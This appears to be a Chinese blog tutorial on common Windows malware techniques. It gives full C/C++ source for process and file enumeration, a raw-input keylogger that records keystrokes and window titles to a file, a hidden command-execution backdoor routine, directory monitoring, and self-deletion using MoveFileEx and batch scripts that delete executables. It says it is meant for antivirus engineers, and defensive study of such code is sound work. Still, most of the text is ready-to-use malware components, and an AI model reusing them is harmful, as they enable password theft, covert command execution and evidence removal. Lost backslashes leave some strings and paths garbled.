恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等，有些技术经常用到，有的也是必然用到。

恶意代码常见功能技术如下：进程遍历，文件遍历，按键记录，后门，桌面截屏，文件监控，自删除，U盘监控。知己知彼，百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。

0x01进程遍历

进程遍历获取计算机上所有进程的信息（用户进程，系统进程），通常是为了检索受害进程，检测是否运行在虚拟机中，以及是否存在杀软等，有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。

 

具体流程：

 

1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息，该函数返回进程快照句柄。

 

2、调用Process32First获取第一个进程的信息，返回的进程信息保存在PROCESSENTRY32结构体中，该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。

 

3、循环调用Process32Next从进程列表中获取下一个进程的信息，直到Process32Next函数返回FALSE，GetLastError的错误码为ERROR_NO_MORE_FILES，则遍历结束。

 

4、关闭快照句柄并释放资源

 

遍历线程和进程模块的步骤和上面的相似，线程遍历使用Thread32First和Thread32Next，模块遍历使用Module32First和Module32Next。

 

源码实现：

#include "stdafx.h"
#include "EnumInfo.h"




void ShowError(char *lpszText)
{
    char szErr[MAX_PATH] = {0};
    ::wsprintf(szErr, "%s Error[%d]n", lpszText, ::GetLastError());
#ifdef _DEBUG
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}




BOOL EnumProcess()
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 获取全部进程快照
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAppROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }


    // 获取快照中第一条信息
    BOOL bRet = ::Process32First(hProcessSnap, &pe32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]t", pe32.th32ProcessID);


        // 显示 进程名称
        printf("[%s]n", pe32.szExeFile);


        // 获取快照中下一条信息
        bRet = ::Process32Next(hProcessSnap, &pe32);
    }


    // 关闭句柄
    ::CloseHandle(hProcessSnap);


    return TRUE;
}




BOOL EnumThread()
{
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    // 获取全部线程快照
    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hThreadSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }


    // 获取快照中第一条信息
    BOOL bRet = ::Thread32First(hThreadSnap, &te32);
    while (bRet)
    {
        // 显示 Owner Process ID
        printf("[%d]t", te32.th32OwnerProcessID);


        // 显示 Thread ID
        printf("[%d]n", te32.th32ThreadID);


        // 获取快照中下一条信息
        bRet = ::Thread32Next(hThreadSnap, &te32);
    }


    // 关闭句柄
    ::CloseHandle(hThreadSnap);


    return TRUE;
}




BOOL EnumProcessModule(Dword dwProcessId)
{
    MODULEENTRY32 me32 = { 0 };
    me32.dwSize = sizeof(MODULEENTRY32);
    // 获取指定进程全部模块的快照
    HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
    if (INVALID_HANDLE_VALUE == hModuleSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }


    // 获取快照中第一条信息
    BOOL bRet = ::Module32First(hModuleSnap, &me32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]t", me32.th32ProcessID);


        // 显示 模块加载基址
        printf("[0x%p]t", me32.modBaseAddr);


        // 显示 模块名称
        printf("[%s]n", me32.szModule);


        // 获取快照中下一条信息
        bRet = ::Module32Next(hModuleSnap, &me32);
    }


    // 关闭句柄
    ::CloseHandle(hModuleSnap);


    return TRUE;
}

 

 

 

0x02 文件遍历

 

文件操作几乎是所有恶意代码必备的功能，木马病毒窃取机密文件然后开一个隐秘端口，（之前在kali渗透群看到有人提问如何识别木马，其实有一个简单的方法，几乎所有的木马都要与攻击者的主机通信的，查看打开了哪些奇怪的端口是一种方法）。

 

就算是再R0下，也经常会创建写入读取文件，文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。

 

具体流程

 

1、调用FindFirstFile函数，该函数接收文件路径，第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称，创建日期，属性，大小等信息。

 

该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录，否则为文件，根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话，则需要对文件属性进行判断。若文件属性是目录，则继续递归搜索，搜索其目录下的目录和文件。

 

2、调用FindNextFile搜索下一个文件，根据返回值判断是否搜索到文件，若没有则说明文件遍历结束。

3、搜索完毕后，调用FindClose函数关闭搜索句柄，释放资源缓冲区资源。

 

源代码

#include "stdafx.h"
#include "FileSearch.h"




void SearchFile(char *pszDirectory)
{
    // 搜索指定类型文件
    DWORD dwBufferSize = 2048;
    char *pszFileName = NULL;
    char *pTempSrc = NULL;
    WIN32_FIND_DATA FileData = {0};
    BOOL bRet = FALSE;


    // 申请动态内存
    pszFileName = new char[dwBufferSize];
    pTempSrc = new char[dwBufferSize];


    // 构造搜索文件类型字符串, *.*表示搜索所有文件类型
    ::wsprintf(pszFileName, "%s\*.*", pszDirectory);


    // 搜索第一个文件
    HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
    if (INVALID_HANDLE_VALUE != hFile)
    {
        do
        {
            // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
            if ('.' == FileData.cFileName[0])
            {
                continue; 
            }
            // 拼接文件路径   
            ::wsprintf(pTempSrc, "%s\%s", pszDirectory, FileData.cFileName);
            // 判断是否是目录还是文件
            if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)       
            {
                // 目录, 则继续往下递归遍历文件
                SearchFile(pTempSrc);
            }
            else                                                           
            {
                // 文件
                printf("%sn", pTempSrc);
            }


            // 搜索下一个文件
        } while (::FindNextFile(hFile, &FileData));
    }


    // 关闭文件句柄
    ::FindClose(hFile);
    // 释放内存
    delete []pTempSrc;
    pTempSrc = NULL;
    delete []pszFileName;
    pszFileName = NULL;
}

 

 

 

0x03 按键记录

 

收集用户的所有按键信息，分辨出哪些类似于账号，密码等关键信息进行利用，窃取密码，这里用原始输入模型直接从输入设备上获取数据，记录按键信息。

要想接收设备原始输入WM_INPUT消息，应用程序必须首先使用RegisterRawInputDevice注册原始输入设备，因为在默认情况下，应用程序不接受原始输入。

 

具体流程

 

1、注册原始输入设备

一个应用程序必须首先创建一个RAWINPUTDEVICE结构，这个结构表明它所希望接受设备的类别，再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口，程序依然可以接收原始输入。

2、获取原始输入数据

消息过程中调用GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中，参数lParam存储着原始输入的句柄。此时可以直接调用GetInputRawData函数，根据句柄获取RAWINPUT原始输入结构体的数据。

 

dwType表示原始输入的类型，RIM_TYPEKEYBOARD表示是键盘的原始输入，Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息，WM_SYSKEYDOWN表示系统按键消息，VKey存储键盘按键数据。

3、保存按键信息

 

GetForegroundWindow获取按键窗口的标题，然后调用GetWindowText根据窗口句柄获取标题，存储到本地文件。

 

源码

#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"




void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}




// 注册原始输入设备
BOOL Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        ShowError("RegisterRawInputDevices");
        return FALSE;
    }


    return TRUE;
}




// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);


    // 获取原始输入数据的大小
    ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT) 
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}




// 保存按键信息
void SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;
    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();
    // 获取顶层窗口标题
    ::GetWindowText(hForegroundWnd, szTitle, 256);
    // 将虚拟键码转换成对应的ASCII
    ::lstrcpy(szKey, GetKeyName(usVKey));
    // 构造按键记录信息字符串
    ::wsprintf(szText, "[%s] %srn", szTitle, szKey);
    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");
    if (NULL == fp)
    {
        ShowError("fopen_s");
        return;
    }
    ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
    ::fclose(fp);
}

 

 

 

0x04 后门

 

后门常以套件的形式存在，用于将受害者信息发送给攻击者或者传输恶意可执行程序（下载器），最常用的功能是接收攻击端传送过来的命令，执行某些操作。

windows系统中有很多WIN32 API可以执行CMD命令，例如system Winexe CreateProcess等。这里介绍通过匿名管道实现远程CMD。

 

具体过程

 

1、初始化匿名管道的SECURITY_ATTRIBUTES结构体，调用CreatePipe创建匿名管道，获取管道数据读取句柄和写入句柄。

2、初始化STARTUPINFO结构体，隐藏进程窗口，并把管道数据写入句柄赋值给新进程控制台窗口的缓存句柄。

3、调用CreateProcess函数创建进程，执行CMD命令并调用WaitForSingleObject等待命令执行完。

4、调用ReadFile根据匿名管道的数据读取句柄从匿名管道的缓冲区中读取数据。

5、关闭句柄，释放资源。

 

源代码

#include "stdafx.h"
#include "PipeCmd.h"




void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = {0};
    ::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}




// 执行 cmd 命令, 并获取执行结果数据
BOOL PipeCmd(char *pszCmd, char *pszResultBuffer, DWORD dwResultBufferSize)
{
    HANDLE hReadPipe = NULL;
    HANDLE hWritePipe = NULL;
    SECURITY_ATTRIBUTES securityAttributes = {0};
    BOOL bRet = FALSE;
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};


    // 设定管道的安全属性
    securityAttributes.bInheritHandle = TRUE;
    securityAttributes.nLength = sizeof(securityAttributes);
    securityAttributes.lpSecurityDescriptor = NULL;
    // 创建匿名管道
    bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
    if (FALSE == bRet)
    {
        ShowError("CreatePipe");
        return FALSE;
    }
    // 设置新进程参数
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    si.hStdError = hWritePipe;
    si.hStdOutput = hWritePipe;
    // 创建新进程执行命令, 将执行结果写入匿名管道中
    bRet = ::CreateProcess(NULL, pszCmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
    if (FALSE == bRet)
    {
        ShowError("CreateProcess");
    }
    // 等待命令执行结束
    ::WaitForSingleObject(pi.hThread, INFINITE);
    ::WaitForSingleObject(pi.hProcess, INFINITE);
    // 从匿名管道中读取结果到输出缓冲区
    ::RtlZeroMemory(pszResultBuffer, dwResultBufferSize);
    ::ReadFile(hReadPipe, pszResultBuffer, dwResultBufferSize, NULL, NULL);
    // 关闭句柄, 释放内存
    ::CloseHandle(pi.hThread);
    ::CloseHandle(pi.hProcess);
    ::CloseHandle(hWritePipe);
    ::CloseHandle(hReadPipe);


    return TRUE;
}

 

 

0x05文件监控

 

全局钩子可以实现系统监控，Windows提供了一个文件监控接口函数ReadDirectoryChangesW该函数可以对计算机上所有文件操作进行监控。在调用。

ReadDirectoryChangesW设置监控过滤条件之前，需要通过CreateFile函数打开监控目录，获取监控目录的句柄，之后才能调用ReadDirectoryChangesW函数设置监控过滤条件并阻塞，直到有满足监控过滤条件的操作，ReadDirectoryChangesW才会返回监控数据继续往下执行。

 

具体过程

 

1、打开目录，获取文件句柄，调用CreateFile获取文件句柄，文件句柄必须要有FILE_LIST_DIRECTORY权限。

2、调用ReadDirectoryChangesW设置目录监控。

3、判断文件操作类型，只要有满足过滤条件的文件操作，ReadDirectoryChangesW函数会立马返回信息，并将其返回到输出缓冲区中，而且返回数据是按结构体FILE_NOTIFY_INFORMATION返回的。

 

调用一次ReadDirectoryChangesW函数只会监控一次，要想实现持续监控，则需要程序循环调用ReadDirectoryChangesW函数来设置监控并获取监控数据，由于持续的目录监控需要不停循环调用ReadDirectoryChangesW函数进行设置监控和获取监控数据，所以如果把这段代码放在主线程中则会导致程序阻塞，为了解决主线程阻塞的问题，可以创建一个文件监控子线程，把文件监控的实现代码放到子线程中。

 

源代码

#include "stdafx.h"
#include "MonitorFile.h"




void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}




// 宽字节字符串转多字节字符串
void W2C(wchar_t *pwszSrc, int iSrcLen, char *pszDest, int iDestLen)
{
    ::RtlZeroMemory(pszDest, iDestLen);
    // 宽字节字符串转多字节字符串
    ::WideCharToMultiByte(CP_ACP,
        0,
        pwszSrc,
        (iSrcLen / 2),
        pszDest,
        iDestLen,
        NULL,
        NULL);
}




// 目录监控多线程
UINT MonitorFileThreadProc(LPVOID lpVoid)
{
    char *pszDirectory = (char *)lpVoid;


    // 打开目录, 获取文件句柄
    HANDLE hDirectory = ::CreateFile(pszDirectory, FILE_LIST_DIRECTORY,
        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
        FILE_FLAG_BACKUP_SEMANTICS, NULL);
    if (INVALID_HANDLE_VALUE == hDirectory)
    {
        ShowError("CreateFile");
        return 1;
    }


    char szTemp[MAX_PATH] = { 0 };
    BOOL bRet = FALSE;
    DWORD dwRet = 0;
    DWORD dwBufferSize = 2048;


    // 申请一个足够大的缓冲区
    BYTE *pBuf = new BYTE[dwBufferSize];
    if (NULL == pBuf)
    {
        ShowError("new");
        return 2;
    }
    FILE_NOTIFY_INFORMATION *pFileNotifyInfo = (FILE_NOTIFY_INFORMATION *)pBuf;


    // 开始循环设置监控
    do
    {
        ::RtlZeroMemory(pFileNotifyInfo, dwBufferSize);
        // 设置监控目录
        bRet = ::ReadDirectoryChangesW(hDirectory,
            pFileNotifyInfo,
            dwBufferSize,
            TRUE,
            FILE_NOTIFY_CHANGE_FILE_NAME |            // 修改文件名
            FILE_NOTIFY_CHANGE_ATTRIBUTES |            // 修改文件属性
            FILE_NOTIFY_CHANGE_LAST_WRITE,            // 最后一次写入
            &dwRet,
            NULL,
            NULL);
        if (FALSE == bRet)
        {
            ShowError("ReadDirectoryChangesW");
            break;
        }
        // 将宽字符转换成窄字符
        W2C((wchar_t *)(&pFileNotifyInfo->FileName), pFileNotifyInfo->FileNameLength, szTemp, MAX_PATH);
        // 判断操作类型并显示
        switch (pFileNotifyInfo->Action)
        {
        case FILE_ACTION_ADDED:
        {
            // 新增文件
            printf("[File Added Action]%sn", szTemp);
            break;
        }
        default:
        {
            break;
        }
        }




    } while (bRet);
    // 关闭句柄, 释放内存
    ::CloseHandle(hDirectory);
    delete[] pBuf;
    pBuf = NULL;


    return 0;
}




// 创建目录监控多线程
void MonitorFile(char *pszDirectory)
{
    // 创建文件监控多线程
    ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorFileThreadProc, pszDirectory, 0, NULL);
}

 

 

0x06 自删除

 

自删除功能对病毒木马来说同样至关重要，它通常在完成目标任务之后删除自身，不留下任何蛛丝马迹，自删除的方法有很多种，常见的有利用MoveFileEx重启删除和利用批处理删除两种方式。

 

MoveFileEx重启删除

 

MOVEFILE_DELAY_UNTIL_REBOOT这个标志只能由拥有管理员权限的程序或者拥有本地系统权限的程序使用，而且这个标志不能MOVEFILE_COPY_ALLOWED一起使用，并且，删除文件的路径开头需要加上“?"前缀。

 

源代码

#include "stdafx.h"
#include <Windows.h>




BOOL RebootDelete(char *pszFileName)
{
    // 重启删除文件
    char szTemp[MAX_PATH] = "\\?\";
    ::lstrcat(szTemp, pszFileName);
    BOOL bRet = ::MoveFileEx(szTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
    return bRet;
}




int _tmain(int argc, _TCHAR* argv[])
{
    if (FALSE == RebootDelete("C:\Users\Test\Desktop\520.exe"))
    {
        printf("Set Reboot Delete Error.n");
    }
    else
    {
        printf("Set Reboot Delete OK.n");
    }


    system("pause");
    return 0;
}

 

利用批处理命令删除

 

del %0
批处理命令会将自身批处理文件删除而且不放进回收站。

 

具体流程

 

1 构造自删除批处理文件，该批处理文件的功能就是先利用choice或ping命令延迟一定的时间，之后才开始执行删除文件操作，最后执行自删除命令。

2 在程序中创建一个新进程并调用批处理文件，程序在进程创建成功后，立刻退出整个程序。

 

源代码

#include "stdafx.h"
#include <Windows.h>




BOOL CreateChoiceBat(char *pszBatFileName)
{
    int iTime = 5;
    char szBat[MAX_PATH] = { 0 };


    // 构造批处理内容
    /*
        @echo off
        choice /t 5 /d y /n >nul
        del *.exe
        del %0
    */
    ::wsprintf(szBat, "@echo offnchoice /t %d /d y /n >nulndel *.exendel %%0n", iTime);


    // 生成批处理文件
    FILE *fp = NULL;
    fopen_s(&fp, pszBatFileName, "w+");
    if (NULL == fp)
    {
        return FALSE;
    }
    fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
    fclose(fp);


    return TRUE;
}




BOOL CreatePingBat(char *pszBatFileName)
{
    int iTime = 5;
    char szBat[MAX_PATH] = {0};


    // 构造批处理内容
    /*
        @echo off
        ping 127.0.0.1 -n 5
        del *.exe
        del %0
    */
    ::wsprintf(szBat, "@echo offnping 127.0.0.1 -n %dndel *.exendel %%0n", iTime);


    // 生成批处理文件
    FILE *fp = NULL;
    fopen_s(&fp, pszBatFileName, "w+");
    if (NULL == fp)
    {
        return FALSE;
    }
    fwrite(szBat, (1 + ::lstrlen(szBat)), 1, fp);
    fclose(fp);


    return TRUE;
}




BOOL DelSelf(int iType)
{
    BOOL bRet = FALSE;
    char szCurrentDirectory[MAX_PATH] = {0};
    char szBatFileName[MAX_PATH] = {0};
    char szCmd[MAX_PATH] = {0};


    // 获取当前程序所在目录
    ::GetModuleFileName(NULL, szCurrentDirectory, MAX_PATH);
    char *p = strrchr(szCurrentDirectory, '\');
    p[0] = '';
    // 构造批处理文件路径
    ::wsprintf(szBatFileName, "%s\temp.bat", szCurrentDirectory);
    // 构造调用执行批处理的 CMD 命令行
    ::wsprintf(szCmd, "cmd /c call "%s"", szBatFileName);


    // 创建自删除的批处理文件
    if (0 == iType)
    {
        // choice 方式
        bRet = CreateChoiceBat(szBatFileName);
    }
    else if (1 == iType)
    {
        // ping 方式
        bRet = CreatePingBat(szBatFileName);
    }


    // 创建新的进程, 以隐藏控制台的方式执行批处理
    if (bRet)
    {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi;
        si.cb = sizeof(si);
        //指定wShowWindow成员有效
        si.dwFlags = STARTF_USESHOWWINDOW;   
        //此成员设为TRUE的话则显示新建进程的主窗口
        si.wShowWindow = FALSE;                   
        BOOL bRet = CreateProcess(
            //不在此指定可执行文件的文件名
            NULL,   
            //命令行参数
            szCmd,               
            //默认进程安全性
            NULL,       
            //默认进程安全性
            NULL,   
            //指定当前进程内句柄不可以被子进程继承
            FALSE,                   
            //为新进程创建一个新的控制台窗口
            CREATE_NEW_CONSOLE,       
            //使用本进程的环境变量
            NULL,               
            //使用本进程的驱动器和目录
            NULL,                               
            &si,
            &pi);
        if (bRet)
        {
            //不使用的句柄最好关掉
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);


            // 结束进程
            exit(0);
            ::ExitProcess(NULL);
        }
    }


    return bRet;
}




int _tmain(int argc, _TCHAR* argv[])
{
    // 程序自删除
    BOOL bRet = DelSelf( 0 );
    if (FALSE == bRet)
    {
        printf("Selft Delete Error!n");
    }
    else
    {
        printf("Selft Delete OK!n");
    }


    system("pause");
    return 0;
}